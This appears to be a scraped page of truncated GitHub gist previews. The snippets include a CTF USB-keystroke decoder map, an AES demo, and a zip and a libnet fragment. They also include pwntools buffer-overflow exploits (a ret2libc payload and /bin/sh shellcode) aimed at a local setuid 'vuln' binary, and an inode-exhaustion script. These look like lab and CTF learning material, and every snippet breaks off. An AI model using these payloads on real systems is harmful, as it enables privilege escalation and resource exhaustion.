This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Reference: https://abawazeeer.medium.com/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4 | |
newmap = { | |
2: "Post Fail", | |
4: "a", | |
5: "b", | |
6: "c", | |
7: "d", | |
8: "e", | |
9: "f", | |
10: "g", |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from Crypto.Cipher import AES | |
import base64 | |
# Encryption | |
KEY = 'A'*16 | |
IV = '1'*16 | |
encryption_suite = AES.new(KEY, AES.MODE_CBC, IV) | |
cipher_text = encryption_suite.encrypt("GOODGOODGOODGOOD") | |
encoded = base64.b64encode(cipher_text) | |
with open('base64.txt','w') as f: |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import java.io.*; | |
import java.util.zip.*; | |
public class compress | |
{ | |
public static void main(String [] args) | |
{ | |
byte[] buffer = new byte[1024]; | |
try{ | |
FileOutputStream fos = new FileOutputStream("mellon.zip"); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdio.h> | |
#include <stdlib.h> | |
#include <libnet.h> | |
#include <stdint.h> | |
int main() { | |
libnet_t *l; /* libnet context */ | |
char errbuf[LIBNET_ERRBUF_SIZE], ip_addr_str[16], *payload; | |
u_int32_t ip_addr; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from pwn import * | |
p = process('./vuln') | |
libc = ELF('/lib/i386-linux-gnu/libc.so.6') | |
junk = 'A'*520 | |
libc_sys = 0xb7e63170 | |
retrn = 0xdeadbeef | |
shell = 0xbffffd5f | |
payload = junk+p32(libc_sys)+p32(retrn)+p32(shell) | |
print payload | |
p.send(payload) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
* Compile the binary as root | |
* $ chmod +s vuln | |
*/ | |
#include<stdio.h> | |
#include<unistd.h> | |
void c(); | |
void c(char *arg) | |
{ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from pwn import * | |
p = process('./vuln') | |
libc = ELF('/lib/i386-linux-gnu/libc.so.6') | |
data = p.recvline().strip() | |
fn_b_addr = int(data.split(":")[1], 16) | |
#print hex(fn_b_addr) | |
data = p.recvline().strip() | |
buffer_addr = int(data.split(":")[1], 16) | |
print hex(buffer_addr) | |
payload = "\xeb\x18\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include<stdio.h> | |
#include<unistd.h> | |
void a(); | |
void b(); | |
void c(); | |
void a() | |
{ | |
char *dummy[] = {NULL,"dummy"}; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import os | |
# Sorry this is a very lame code | |
lst = [] | |
data = os.popen('df -i').readlines() | |
data = data[1].split(' ') | |
for i in data: | |
if i != '': | |
lst.append(i) | |
exhaust_count = int(lst[3]) | |
print "Total free inodes:",exhaust_count |